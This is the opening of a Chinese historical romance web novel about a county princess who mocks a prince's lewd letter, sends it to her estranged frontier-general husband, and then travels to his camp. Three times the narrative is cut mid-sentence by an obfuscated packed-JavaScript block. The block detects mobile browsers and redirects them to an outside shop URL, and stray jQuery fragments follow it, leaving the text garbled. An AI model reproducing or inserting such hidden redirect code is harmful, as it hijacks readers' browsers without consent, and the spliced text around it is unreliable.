《狂之狂也》
1. 红粉笺
初夏时分的太阳还不算烤人,鸣蝉就已经迫不及待叫起来。牛车压在夯实的土路上,不够平整的地面颠簸得轴承咯吱咯吱响。
打前头的人紧了紧手中缰绳,叫拉车的牛走慢些。车上的东西不重,但属实金贵,里三层外三层固定好,可不能在路上被磕碰坏。
进入公主巷,脚下变成坚实的石板路,石砖缝隙打扫得干干净净,一颗硌脚的小石子都没有。拉车的人松口气,拽上缰绳加快步伐。跟车的小厮紧紧围在牛车两边,小心翼翼扶住车上一个竖立的木箱。
这里原不叫公主巷,因为路旁有棵上百年的大柳树,当地人一般称此处为柳树底。只是后来有贵人在此定居,柳树底叫着不恭敬,这才改称公主巷。
公主巷里只有一户人家,朱漆大门紧闭,上面高悬着描金的“卫府”匾额。
管事的顶着大太阳跟着车走了一路,正热得口干舌燥,催着赶车的人快些,早点将东西送到,也能早点讨杯茶喝。
几名小厮低头垂目,只盯着车上的箱笼木盒,跟着管事的一步不停从关闭的大门前走过,多绕一段距离,来到一处小偏门。
大门处安静,侧门处却热闹,各类车马竟排起队,一时半会儿还轮不到他们。管事的用手扇着风,踮脚探头向前看,估量着还有多久能排到他。
也是巧,一名已经换上清凉夏衫的女子正摇着小扇出门探看,恰瞧着管事的在张望,她脚下一转,挂上笑意就向管事走来。
“吴大管事来了,瞧我,早知大管事今日来,我该叫人迎上一迎的。”离牛车还有几步远,女子就先高声招呼起来。
女子约莫十八九岁,生得一张圆脸,看着娃气,很是娇憨可爱。她人年少,吴管事却不敢怠慢,忙上前一步拱手一礼:“是我不请自来,未及通传,怎好劳宫官远迎。”
那女子笑呵呵与吴管事回礼,叫上吴管事往里去:“日头底下怎好站人,大管事快随我进去歇歇脚喝杯茶水。”
“这……”吴管事假作犹豫,扭身指向车中的木箱,“多谢宫官好意,只是我本为此物而来,哪能空撂下主家所托自去吃茶。”
女子见吴管事这样说,不甚在意,什么方便不方便的,不过都是客套,拐弯抹角提点一句车上东西贵重罢了。
她用小扇遥遥点向牛车,执意请吴管事先进府中歇息:“青天白日的,左右又无泼皮人家,许多人看着,能出什么差错?大管事既来了,就没有在外面候着的道理,叫县主知道,该骂我不周到了。”
吴管事见状也不再推辞,跟着女子越过正在等候的车马往府中去。
外面候着的管事掌柜不只他一人,其他随车的人瞧见,都好奇看来。吴管事目不斜视,埋头跟在女子身后走。
那么多人,偏偏只有他能被请到府中坐,全依仗他的主家。吴管事的主家姓卫,正是这府中朱门上提着的“卫”。青州卫氏是大族,虽比不得四姓,称一声豪强也算相当。如今公主巷里住的那位与卫家是正经血脉至亲,然而就连卫家自己也不敢把公主巷当作自家地界,仅与里面那位按礼节来往,平日无事甚少来打扰。
吴大管事是卫家现任家主身边的人,去到那些旁支宅上也是要被迎作上客的,独独来此处时连正门都不曾走过一次。
想到木箱里的东西,吴大管事暗暗叹气,这样稀罕的物件,家主眼都不眨地就送来,真是舍得。
过了晌午,日头开始偏西,地上晒了一天的热气泛上来,格外蒸人。闷热的天儿闹得夏蝉也歇不住,嗞儿哇叫个不停。
圆脸女子用小扇挑起门上的珠帘,一猫身钻进屋内。
屋里要比外头凉爽得多,两个冰釜摆在角落,源源不断地吐着凉气儿。
再拨开软绡,进到里间,一名披着薄纱大袖衫的女子正依靠在榻上,春水一样的眼睛半阖不阖,半截嫩藕似的手臂从大袖衫中滑出来,白生生的搭在艳丽的织锦靠枕上,一副似睡非睡的慵懒模样。
青州虽比不得江南温润缱绻,好在四季分明也算有趣,绿夏银冬里,也能养得水一般娇嫩的女娘。
圆脸女子含笑悄步上前,轻轻为榻上人扇风。
感受到有微风拂过,卫理理睁开眼,朦朦胧胧朝旁边看去。她身边的侍女桃桃收起小扇,浅浅行个福礼,低声唤她:“县主。”
当今圣上姓符,论起来卫理理并非宗女。她的母亲是太祖所出定安大长公主,父亲出身青州卫氏,那年入京叫公主瞧中,召做驸马。定安大长公主体弱,京都气候干燥多尘,并不宜她休养,故而她多在洛阳长住,婚后则干脆与驸马一同回青州定居。
后来公主病故,太祖一来感怀病逝的女儿,二来为安抚卫驸马,破例赐封尚在襁褓的卫理理为县主。便到如今,朝中也只有她这一位异姓县主。
四年前传来卫驸马身亡的消息后,卫理理就一人独居在这诺大的卫府中。
她缓缓撑起身,询问道:“都清点好了?”
临近她生辰,青州的乡绅官员们多少都得表示一番。
别的都没什么打紧的,东家的鱼西家的酒,一点小礼,表表心意,桃桃只拣要紧的说:“头晌儿卫家差人来过,来的是吴大管事。我推说天热人懒,县主还未起,没叫他来见礼。”
卫理理其实早就起了,只是过晌后犯懒,这才倚着榻打瞌睡。对桃桃擅作主张她没说什么,她身上穿得薄,若要见外客,还得重新梳妆,打发了也好,省下折腾。
桃桃却不是要说这个,她继续回道:“卫家除了往年的定礼,还额外送来一株二尺高的珊瑚。”
形似枝柯的珊瑚皆来自狮子国,本就难得,飘洋过海更是不易,二尺高的珊瑚树已十分贵重,难怪桃桃要特意来回禀。
卫理理越想越好笑:“卫家家主也是妙人,我又不是过什么古稀耄耋大寿,也值得他送这样华贵的礼。”
桃桃哪里会知晓卫家的用意,只随口应和着“卫家重礼”。
卫家确实很看重礼节,卫理理从前不认得任何一位卫氏族人,长居青州后与卫家也往来甚少,至今除了家主和几名族老,卫理理也记不得其他卫姓人。饶是如此,卫家送来府上的节礼一样不落,回回按时送到。
不去理会卫家的小心思,卫理理抬眼看向桃桃:“还有事?”
桃桃从怀中掏出一笺封,双手呈上:“新泰郡王也差人送贺礼来。”
新泰郡王现今在淄州,与青州相邻,论身份他与卫理理是表兄妹,他送礼为她贺生辰也不足为奇。
卫理理有些疑惑地接过信笺,见是一封花草笺,浅粉洒金的底,描着几朵芍药和两只蝴蝶。
“这是什么?”笺上没有落款,卫理理边问边拆开。
“是新泰郡王送来的,点名要县主亲启。”
卫理理捏出里面的信纸,皱着眉头展开。新泰郡王与她素无交集,有什么事需要这样遮遮掩掩地告知,莫不是朝中……
她将信上内容快速浏览一遍,开头是写恭贺佳辰的官话,后面越写越不成体统,直言贱民杂种粗俗不堪,难以与她相配,若卫理理孤枕难眠,新泰郡王自言可为她暖衾。
什么荒唐话!卫理理将信纸撇在榻上。
新泰郡王浑名在外,过手的美人不知几何,与几位表妹义妹拉扯不清。他跟那些姑姑嫂嫂的艳闻卫理理听都懒得多听,却没想到他能把主意打到自己身上。
再怎么说她也是有夫婿的,新泰郡王真是叫色心冲昏头,什么话都敢说出口。
卫理理瞥向摊在榻上的信纸,“贱民杂种”几个字刺得她眼睛生疼。
新泰郡王说的贱民杂种,就是卫理理名义上的夫君,如今任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284233|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安西节度使的萨孤延。他出身低微,父亲来自吐火罗,母亲是汉女。
十年前身为突厥瑟帝米可汗五世孙的阿兀思吉地勤察率部投降,作为投名状,阿兀思吉地勤察领兵攻下原属西突厥的浮图和高昌二城以表诚意。圣人大喜,改浮图为庭州、高昌为西州,另设安西都护府统领西域二州。
当时突厥首领为涅络罗部绩利叶护可汗,在接连丢失浮图和高昌后,绩利可汗也曾提出与中原和谈,最终因条件无法达成一致不了了之。
不料不久后突厥伊图木克部击杀绩利可汗,接手西突厥各部,随之屡屡侵犯中原边境。
一年前圣人谴原右武卫大将军梁高义前往安西迎击突厥,谁想梁高义节节败退,甚至被突厥攻入庭州,击陷金领城和蒲类县。圣人震怒,因迎敌不利将梁高义罢官问罪,临时指派萨孤延为安西节度使,率军前往庭州。
与任命一起颁下的,还有卫理理与萨孤延的赐婚圣旨。
婚仪所需用具都是从京中送来,短短月余就置备齐全。彼时萨孤延已经跟随大军在前往庭州的途中,大军不可能为琐事长久停留,婚期又近在眼前,萨孤延命军将们继续前行,他孤身一人快马奔赴青州完婚。
婚事定得仓促,婚仪也仓促,行过拜礼,那人甚至没来得及却扇,就匆匆脱下婚服连夜赶往安西,此后二人两地分居,再未相见。
如今叫卫理理回忆他是何模样,卫理理一点印象也无。就算成婚当日,她也不曾看清他的长相,只记得隔着喜扇上的连枝绣,隐约瞧见一尊高大身躯。
卫理理把“贱民杂种”四个字嚼了一遍又一遍,莫名生出许多怨气。
新泰郡王话难听,说得却是事实,萨孤延的生母是歌伎,他的父亲也确属杂胡。听说他自幼从军,自边镇胡汉混杂的杂兵做起。寒门破落户好歹祖上还有过门第,他连门第二字的边都摸不着。
新泰郡王养胡姬的时候不嫌人家是杂胡,倒有心来她面前说三道四。
“新泰郡王送的什么?”卫理理没好气地问。
桃桃回想一下,一五一十答:“送了两方兰麝墨,四匹烟罗绡,一方多宝摆屏。”说到这儿,桃桃补一句,“多宝摆屏的样式倒是以前不曾见过。”
市面上没见过,那就是定制的,东西虽然不多贵重,胜在用心。
“安西呢?”卫理理再问。
桃桃支支吾吾的:“县主,你知道的……”
卫理理觉得可笑,新泰郡王再龌龊,也知道送些贺礼做遮掩。她与萨孤延做了近一年夫妻,竟是半分来自安西的问候都不曾见到。旁人道他低贱,他也真把自己当胡虏不成,怎就不顾仪礼道义,连表面功夫都不做?
“艾赫麦(混蛋),把我当什么?”卫理理将手边的靠枕摔在地上,小声嘟哝着。
候在一旁的桃桃没听清卫理理在说什么,但见她面色不虞,也不敢多问,只能低头看自己的脚尖。
卫理理的怒气来得快消得也快,她盯着新泰郡王的信沉默片刻,突然冒出一个念头,既然他不肯送来只言片语,那不如她先送他一份大礼。
“去把新泰郡王的礼都清点好装车。”
正在瞧着自己鞋头上不知何时蹭到的一块污渍发呆的桃桃懵然抬头,眨眨眼才反应过来县主吩咐了什么,正要问可要送还淄州,就见卫理理已经抄起信纸和笺封跳下矮榻,赤着脚跑到妆台前。
她先是仔细将信原样折好装进笺封,又往里弹些香粉,这才把笺封重新封起。
卫理理心思一转,打开口脂挑出一些,抹在笺口处,浅粉的花蝶笺本就暧昧,嫣红的口脂更显色情。
“连这封信一起,送去安西。”她把信塞给尚在愣怔的桃桃,唇角勾起,眼睛微弯,轻翘的眼角狐狸一般狡黠又妩媚,“务必让节度使亲自接收。”
2. 黄铜铃
“家主。”轻快的声音传来,卫理理转头看去,见一名身着翻领袍的年轻女子撩帘进入。
“紧赶慢赶,总算赶在家主生辰前回来,这次闫叔在呼罗珊淘到了上好的玻璃器,家主待会儿去瞧瞧。”
女子进来也不拘束,见卫理理指向椅子,就不客气地坐下,两手在身前比划:“大概这么大,是一座摆屏。还有一套碗碟茶盏,一共七件。闫叔一路揣怀里抱回来的,一点儿也没磕着。”
这女子名为苹苹,与桃桃一样算是卫理理身边的侍女,只是桃桃来自宫中,苹苹则是卫家掌柜的女儿。
苹苹自幼在算盘上长大,管账理货很有一套,卫理理手里的产业商铺大部分都是苹苹替她看管,前段时间苹苹跟着商队出关走西域,今日刚回来。
“知道了,你们一路辛苦,先喝点水歇歇。”卫理理把桌上的茶壶往苹苹方向推一推,“路上可顺利?”
苹苹自倒杯茶水润喉,听卫理理问,她放下茶杯,压低声音:“从呼罗珊到关内,我们走伊丽道途径西突厥,我在沿路各处都打探过,没见有什么大异常,只是今年粮食和牧草的价格都略有上涨。”
再过一两月才收青稞子,要说青黄不接粮食不继还算合理,只是还没入秋,正是夏季水草丰美的时候,远不到需要积蓄牧草过冬的时节。这时候牛羊吃得都是新鲜青粮,谁会用到干牧草?
如苹苹所见,粮食牧草的价格虽然涨得不多,但一直在持续地小幅增长,比起饥荒缺粮,更像是有什么原因导致粮草大量消耗。
“关内如何?”
萨孤延从牢山用兵,击退突厥,收复金领城和蒲类县的消息月前就已传到青州,此时关内应该比先前要安定些。
“别的也没什么,就入关时麻烦些。”苹苹边想边说,“我们去岁出关时正逢突厥频繁侵扰,临关几县都不安生,但是出入边境查得却不严。今次回来,除了庭州原有的守城兵卒,还多了一队军中的人在关口查验来往货商行人。”
苹苹抬眼觑着卫理理脸色:“是节度使手下的人,说是节度使想从庭州刺史手中争走各处城门管理权,庭州刺史不同意,所以自今年二月起,节度使就越过刺史命人守在各城关处,无论出入都要额外多查一道。”
萨孤延奉命迎敌,只有调度军队的权利,不负责安西二州的管治,他要接手庭州的过所检点,就是明晃晃跟庭州刺史抢权。
“各家商队对庭州关口两检都有些怨言,有传言说,是节度使看上往来客商手中钱财、驼上珍宝,这才不顾当地使君阻拦,执意要从客商身上盘剥。”
“叮”。
窗外风动,拨弄檐下挂的铜铃,松霜、沙青、苏芳三色的绸布飘扬,一下下撞出悠扬清脆的铃声。
苹苹随着卫理理的目光向外看,笑道:“这么多年,这铃声倒是一点没变化。”
卫理理倚在椅中,望着檐下出神:“铃铛挂在骆驼身上,风沙里穿行十几年依然清声如故,怎得在此几日就会面目全非不成?”
夏日风轻,驼铃响过几声,就沉寂下来。三色绸还在舞动,却再不能撼动沉甸甸的铜器。
“入关可受为难?”卫理理收回目光,继续询问庭州之事。
“没有。”说起自家商队,苹苹答得干脆,“咱们的人都是常来常往的老人,官牒齐全,任谁也挑不出错来。火子瞧过过所文书,简单问两句货物就放行了,并未刁难。”
说着苹苹撇撇嘴:“也是他卫家好命,跟着我们的商队一起进关,火子都没多问一句。”
卫家和县主,苹苹分得清清楚楚。卫理理见苹苹颇有些吃亏的憋屈,打趣她说:“怎么,卫家莫非占了天大的便宜?”
苹苹瞬间睁大眼睛,身体微微前倾,一笔一笔给卫理理算账:“关外形势不好,伊图木克部和阿悉结部一直在劫杀往来商队,偏生从河中回关,碎叶和疏勒都是必经之地,出关的商队只能回来六七成,便是回来也多是两手空空。有好几个大商栈已经不再西行,转而去做海上生意,西域珍玩现在是有市无价、一宝难求。”
“卫家跟着我们走鼠道,一路顺风顺水,连突厥骑的马蹄印都没见到,回来时人马骆驼都装得满满当当,入了关就能换成真金白银。叫他们自己去走马,莫说货物,人怕是都得埋在沙碛里。”
卫理理含笑听着苹苹掰着手指说生意经,想起卫家家主送来那株珊瑚树。
卫家时间挑得好,借着贺礼的名义赶在商队回来前送上,即彰显诚意,又不过分势力谄媚。卫家能在青州屹立不倒,离不开几代家主为人处世上的智慧,就好比“卫驸马因公主病逝伤心过度闭门不出”的传闻,以及驸马“病故”后卫家大张旗鼓的葬礼。
苹苹沉浸在对卫家占尽好处的“控诉”中,完全没注意到卫理理正在神游:“卫家这次带了两支商队,里面有个十七八的年轻人,机灵得很。一路上眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284234|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
滴溜溜转,哪里讨水,哪里避风,都记在心里。依我看这小子是个走马的料,跟着闫叔再跑一趟学学,以后花剌子模去不了,自己带队走走南线跑跑吐火罗不成问题。”
“庭州可安稳?”卫理理打断苹苹。做买卖各凭本事,卫家眼馋西域的生意,卫理理不介意给卫家领次路。比起卫家的事,她更在意庭州近况,毕竟那里还有个男人的死活与她有关。
要说安稳,庭州收复蒲类县,把突厥人拦在关外,关内安生不少。要说不安稳,那位节度使也确实不省心。
“我回来时,打听到节度使带人出关扫了咽城。”
咽城在庭州以北,是处密部的地盘,地处与伊丽道相接的弓月道附近。那人将突厥赶出安西不说,还要去吞并突厥的土地。
卫理理随手拈起妆台上一串彩宝手链,在指尖轻绕,她倒差点忘了,她那位夫君除了安西节度使,还有另一个名头。
外间的珠帘叮叮当当碰撞,有人在屋外轻轻叩门。得到应允,两名女子各抱一个花瓶进来,走在前头的桃桃把花瓶摆在窗下,转身隔着纱帐问卫理理:“县主,你看放在这里可好?”
跟在后头的将手中花瓶与先前的对称摆放,一抬头露出灰蓝色的眼睛。
卫理理扫两眼,盯住那名灰蓝眼睛的女子:“给节度使的贺礼走到哪里了?”
杏子垂目快速估量一番,才开口回答:“回县主,安西路远,车行不比快马,此时大概刚至都畿道。”
从庭州到京中足有数千里,需走二月余,军情就算八百里加急,也得近一月时间。若当地官员拖延一二,京中知道时只怕仗都已打完。也正是安西天高路远,当初打下高昌后涅络罗部虽名为附属国,实则完全不受中原管挟,不然也不会叫伊图木克部养出贼胆反攻安西。
一抹蓝色缠上窗棂,又依依不舍松手,飘飘然荡开去。铃铛依旧,铃下彩绸却在风吹日晒中褪去颜色,不复当初鲜艳。泛着灰白的三色绸不知疲倦舞着,只等着风儿再借些力气,去撞响那本该回荡在大漠中的铃音。
当彩绸再次缠上窗棂时,卫理理突然开口:“桃桃,准备车马器具,四时衣裳。”
桃桃一一应下,听到卫理理说她们几个也要准备,还要点护卫随从,出声问道:“县主是要出远门吗?去哪里?”
“叮”。
三色绸终于等到了助力的风,卫理理静静望着檐下的驼铃,眼中泛起笑意。
3. 胭脂香
天黑蒙蒙的,几点星子高挂在空中,叫月光映得黯淡。
昨天刚下过一场夹雪的小雨,落在地面上没等见到日头就冻成一层薄薄的脆壳,白泠泠的,瞧着格外冻人。
刚进八月,天就冷得待不住人。班识跺跺脚,套着毛皮靴的脚在黑夜里冻着发麻,靴尖上已经见霜气。
“娘老子的。”他咕哝骂道,“什么鬼天气。”
他今年二十出头,早前在军中当个跑腿的小杂兵,顶头的长官在征高昌时立了功,连带他也鸡犬升天,跟着长官一起水涨船高。原先苦惯了不觉什么,在中原混了几年,再回边疆,反而觉得辛苦。
他紧一紧披风,把帽兜围严实,长刀架在臂弯,双手抄进腋下暖着,缩着脖子在城墙上瞎转悠。
橘色从灰蓝的天线处爬上来,一点点侵染,很快一道火线就从天地分界处蔓延过来。还不等班识有所反应,震颤就沿旷野传到城墙上,橙红的火线边缘处罩着被映成黄色的扬尘,把正在移动的火光晕成朦胧一团。
班识两步抢上墙沿,伸手在怀里掏出个锈迹斑斑的千里眼,眯着眼睛凝望片刻。待看清来人,他急忙跳下墙沿,转向城墙内侧,扯起喉咙探着半边身子拍墙:“开城门,节帅回来了!”
倚在城墙上的守门士兵都涌向城门处,沉重的大门缓缓拉开,擦着地面上的沙石,吱呀的声音在寂静的夜中格外刺耳。很快,这点杂音就被轰隆隆的蹄声掩盖。大批人马冲进关内,奔腾着沿着笔直的大道前行,为后面的队伍留出空间。
先是疾驰的马带出混杂着浓重血腥味的风,之后入城的队伍慢下来,血腥气也被牛羊独有的膻臭取代。几队人马不停扬鞭,驱赶着牛羊,被撵得慌不择路的羊群在门口处挤作一堆,咩咩叫着堵住通路。已经进城的一名士兵调转马头,扬鞭在其中一只羊身上狠狠抽几下。吃痛的羊奋力向前一窜,脱离出羊堆,羊群有了空隙,呼啦啦涌进城内。
“好家伙,这得多少羊。”几名守门士兵靠着墙垛嬉笑,“节帅别是把人家部落全抢回来了吧?”
“哎,小虾子,你们这是抢了多少?”一名士兵趴在城墙上,冲打羊的小兵喊着。
被叫做小虾子的人拨着马头原地转半圈,面向城墙仰起头。毡帽包得严实,黑夜里看不清模样,他抬头被城墙上的火光一照,才露出一张充满稚气的脸,瞧着还不及弱冠,咧嘴一笑,呲出一排大牙,格外傻气。
“没细点,有个一两万吧。”
“嚯,节帅可真行。”墙垛上的士兵叽叽喳喳说着。
一名瘦猴一样的兵卒往前探身,向城门口张望:“节帅就光抢了牛羊,没抢点别的?”
人群沉默一息,随即爆发出哄笑。有人在瘦猴头上扇一巴掌,笑他说:“你还想抢什么,抢几个突厥女人,就你这小身板,你消瘦得住吗?”
后方不知是谁喊一嗓子:“怕不是死在突厥女人肚皮上还得给你报个为国捐躯哩!”
瘦猴被三言两语臊得满脸通红,乍着手乱舞,忙不迭解释:“我可没说,你们不要乱讲。”
大家你推我一把,我顶你一下闹个不停。一个络腮胡的汉子左右瞅瞅,高声喊道:“节帅呢,怎么没见着节帅?”
班识奔下城墙,听着他们哄闹,头也不回向前跑去。他眼尖,早瞧见节帅在前头冲进关。指望那群光知道瞪眼不知道看的留心,节帅跑到京城了他们还以为节帅没进关呢。
一直跑到大营处,班识才看见正在说话的两人。
这里离关口近,打下蒲类县后,节帅就带兵驻扎在这里,反倒是庭州城很少回去。
他走上前,不客气地冲着其中一人抬脚就踹,嘴上骂骂咧咧的:“你个老皮子随着节帅出去跑马,留下我在关里吹冷风,下次你来守关,净他娘的算计老子。”
被踹的人也不生气,拍拍身上的尘土,指着班识大笑:“好小子,卵蛋都没长齐还称上老子了。”
班识捏拳作势欲打,瞥见一旁高大身影,这才悻悻放下拳头,冲被踹的人狠狠使个眼色,小跑到旁边人身前:“节帅。”
萨孤延点点头,继续说道:“在外面跑了几天,兄弟们现下都没吃饭,叫伙头上架起火来,牛羊挑些肥的宰了煮来饱肚。还有伤员也安排好,有什么药尽管先用着,实在不济再想法儿淘弄些。”
被踹的人叫曹骠,跟班识一样,都是跟着萨孤延多年的老兵。他年纪要大些,约有三十多岁,个头比班识矮点。因着他是萨孤延心腹又年长,军中有什么大小事多由他来安排。
他领命离开,班识连忙插嘴:“给我留碗,我也喝口暖和暖和。”见曹骠不理他,他挨挨蹭蹭跟在萨孤延身后进帐子。
萨孤延把外面罩的披风脱下来扔在地上,就着盆里不知道何时的水洗手。
天寒,盆中的水早就凉透,萨孤延捧起在脸上搓两把,稍稍清醒清醒,再撩水时,就见黑乎乎的军服袖口沾进水里,漫出一缕一缕的血色,很快将一盆水都染得通红。
萨孤延甩甩手上水渍,干脆把吸饱血的厚重军服也脱下,从箱笼里随便扯件半厚不薄的外衫披上。
出得营帐,萨孤延有些疑惑地停住脚步,问道:“这是做什么?”
班识转头一看,原来是伙头搭了个架子晾干果,大概是觉得节帅大帐这里往来人少,就把架子搬到此处。
“快过节了,叫伙头熬点玩月羹喝喝。”班识替伙头解释。
过节?萨孤延抬头看向空中月亮,此时月亮还不十分团圆,但也已滚胖起来。
又要过节了,男人在心里咂摸着。去岁八月,就是他领命来安西的时候,也是……也是他与人成亲的时候。
恍惚间竟已有一年,莫名的,萨孤延想到成亲那晚,在喜扇遮不到的侧面,有一截雪白的脖颈,就像这月光一样。朱红的金钗坠子长长地垂到肩膀上,贴着莹润的肌肤滑进衣领,也把他的目光带进衣领下的旖旎风光。
那朱红坠子到底滑进何处他也不知晓,那女人究竟长何模样他也没瞧着,如今想来只记得她走在他身旁时醉人的香风,还有他日夜奔袭时马蹄在沙砾上磨出的鲜血。
这次从处密部缴获许多财物,里面不乏艳丽的珠宝,不知她会不会喜欢胡人样式的首饰。萨孤延想着,自嘲般笑笑。这时候送,十五是一定赶不上的,等到了青州,说不定能恭贺她一句新年岁吉。
“节帅。”班识眼珠一转,想到什么,“上次过节,嫂嫂送了礼来,这次十五,嫂嫂会不会也有礼送来,不知道里面会不会有吃食酒水。”
班识不提还好,一提萨孤延的脸色瞬间沉下来。
青州的礼送到庭州府时,他正在边境巡查,听说青州来人找他,他不及多想就快马赶回去。
当时曹骠和班识都在他身旁,两人围着布匹摆屏研究好久,一个劲儿地夸精巧好看,可惜军营里用不上。
只有他心思完全不在礼品上。
在曹骠他们围上来前,他眼尖地瞅见摆在面上的一封浅粉信笺,抢在他们发现前塞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284235|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进怀里。那封带着暧昧的口脂痕迹的信在他心口捂了三天,直到巡边结束,他才有空躲进大帐拆看。
萨孤延不愿回想看到信的内容时他是什么心情,他甚至不知道他该气愤信中对他的贬损还是该气愤对她的觊觎。
可是他又有什么立场去谴责新泰郡王的放浪呢?
这场赐婚本就是圣人为了牵制他而撮合,大将领兵在外,诸事君命难行,用婚姻把将领跟皇室绑在一起是最简单的办法。她想必对嫁给一个粗莽胡杂也颇有怨言吧,不然怎会一定要把那封信送到他眼前。
冷气吸进肺里,从口腔一路凉到胸口。罢了罢了,既然她不喜,自己又何必平添事端。只等完成圣人的任务,班师回朝日,卸了手中兵权,她也无需再苦苦守着维系边将的使命,和离便是。
班识见萨孤延闷声不吭只管走,纳闷地扶起已经垂到眼睛的兜帽,隔着兜帽挠头。他刚才难道说了什么蠢话,才叫节帅不肯搭理他,或者节帅没听见?
正想着,身前的人突然停住脚步,班识一时不察,直挺挺撞上去。
“哎呦。”班识捂着鼻子弯腰呼痛。萨孤延比他高许多,他的鼻尖正撞在萨孤延肩膀上,一时酸涨得他眼泪都盈出来。
萨孤延皱着眉头看向缩成一团的下属,琥珀色的眼睛在黑夜中像野兽一般幽亮:“你做什么呢?”
班识哪敢说自己在走神,支支吾吾答不上来。
好在萨孤延也不是一定要计较,见他没事,就吩咐道:“你去把剩下的牛羊清点出来,按人数记在随我出去的兄弟们账上。按理该给他们分牛羊,不过用军时候,牛羊不好带走,就先留在庭州。你告诉他们,等战事结束回到各府兵卫所,再请示圣人,由各卫所根据账目重新发还所得牛羊。”
班识点头应下,不敢再跟在萨孤延身后,捂着鼻子一溜烟跑走。
除了巡值的士兵,其他醒着的人都在南边等着伙头宰牛杀羊,大帐附近只有一只照明的火把孤零零地燃烧。
火光轻跳,把男人的影子摇动得左右乱晃,很是欢闹。与影子相连处,是伫立在黑暗中的伶仃身影。
起风了,萨孤延披着的外衫有些薄,夜风循着缝隙往骨头里钻。他抬头望向皎白莹润的月亮,大漠中的月亮似乎比中原更大更饱满些,沉甸甸地挂在天上,好像随时都会掉下来。大半的月亮都已从天幕中脱出,与象征着团圆的轮廓只差最后一丝。
团圆,跟谁呢?跟形同陌路的亲人,还是跟心有不甘的她?
萨孤延闭上眼睛,缓缓吐出一口气,抬脚向着军医所在营帐大步走去。
天光渐亮,远处已经泛起鱼肚白,一抹红光一跃一跃的,急不可耐要从地平线中蹦出来。
萨孤延看过伤兵,查过班识记下的军功册子,这才有空到已经熄火的伙头处,就着剩锅底灌下一肚子凉汤,回到大帐趁着天还未明抓紧歇息一会儿。
帐子里他昨晚扔下的披风和军服还摊在架子和地上,他弯腰拣拾起来,放进藤编的旧筐中。
筐子旁边是一张简单的小桌,萨孤延经常会在这里写些军报或军令。
小桌下有抽屉,萨孤延犹豫片刻,伸手拉开。
一张浅粉绘着花蝶的信笺静静躺在抽屉里,表面布满捏皱又被抚平的折痕。信笺没有被重新封上,只是简单折起的封口处溢出独属于女子的脂粉味道,随着抽屉打开,熏染着整个粗糙简陋的营帐。
萨孤延沉默地看了许久,一抬手,“砰”得把抽屉重重摔合。
4. 第 4 章
萨孤延回到在庭州邸中时已是夜半,庭州刺史称要与他梳理冬日军服账目,将他从边镇叫回,对着所谓账目一查就是一夜。
看管府邸的人迎上来絮絮叨叨说着什么,萨孤延一句也没听进去,他已经两天没合眼,现在只想找个地方赶紧睡一觉。想来不过是些庶务琐事,萨孤延胡乱点点头表示自己知道了,越过此人径直朝卧房走去。
卧房里没点灯,卫理理早就洗沐好歇下。
安西干燥,不比青州湿润,卫理理一时难以适应,加之赶路颠簸,只觉得头昏脑胀浑身乏累,刚来头一晚早早就睡去,谁想第二日一开口竟险些失声。
梅子煮了好些润喉的汤水,又在房中摆上许多装水的花瓶盆景,这才稍稍好些。
今日卫理理依旧觉得口干,就吩咐杏子再去端些汤水来服用。房中已经熄灯,卫理理懒得下床点灯。睡前桃桃和梅子帮她涂抹润肤的香膏,卫理理现下身上只有一件兜肚的小衣,但是屋中燃着炭,也算不得太冷,她便拥着被子摸黑倚在床头等杏子回来。
房门被推开时,冷风倒灌,她忍不住向床内侧挪动两下,避开寒气。
门重重闭合,却没有脚步声响起。卫理理有些奇怪地向外探头,无论是桃桃还是杏子,开关房门都是轻悄悄的,绝不会这般惊扰她。
她刚想起身去瞧,一道黑影已穿过纱幔,暗夜里卫理理只能看见被月光笼起的轮廓,高大的,熊一般健壮,悄无声息向床上逼近。
腰带叮叮当当落在地上,外衫也脱下,不等卫理理惊叫出声,那人不由分说向她扑来。
卫理理拉拉被子,试图遮住裸露的肩膀,拽了几下被子都纹丝不动。
男人倒在床上,把她的被子压住大半,安安静静熟睡着。
哪有刚沾床就睡熟的,卫理理腹诽着,莫不是梦游来的?
此时她不再似方才慌乱,瞧他这等轻车熟路上床睡觉的样子,卫理理再迟钝也该猜得到他是谁。不是说他长居军中,几乎不会回来吗?卫理理来时想过许多他二人见面的场景,独独没想到会是这般情形。
露在外面的身体逐渐变得冰凉,卫理理瑟缩着向下滑,努力蜷进仅剩的一角被褥中。她本想开口叫人,话到嘴边,鬼使神差又咽下去。
目光转向身边熟睡的人,这个男人,长什么样子,她还没见过呢。
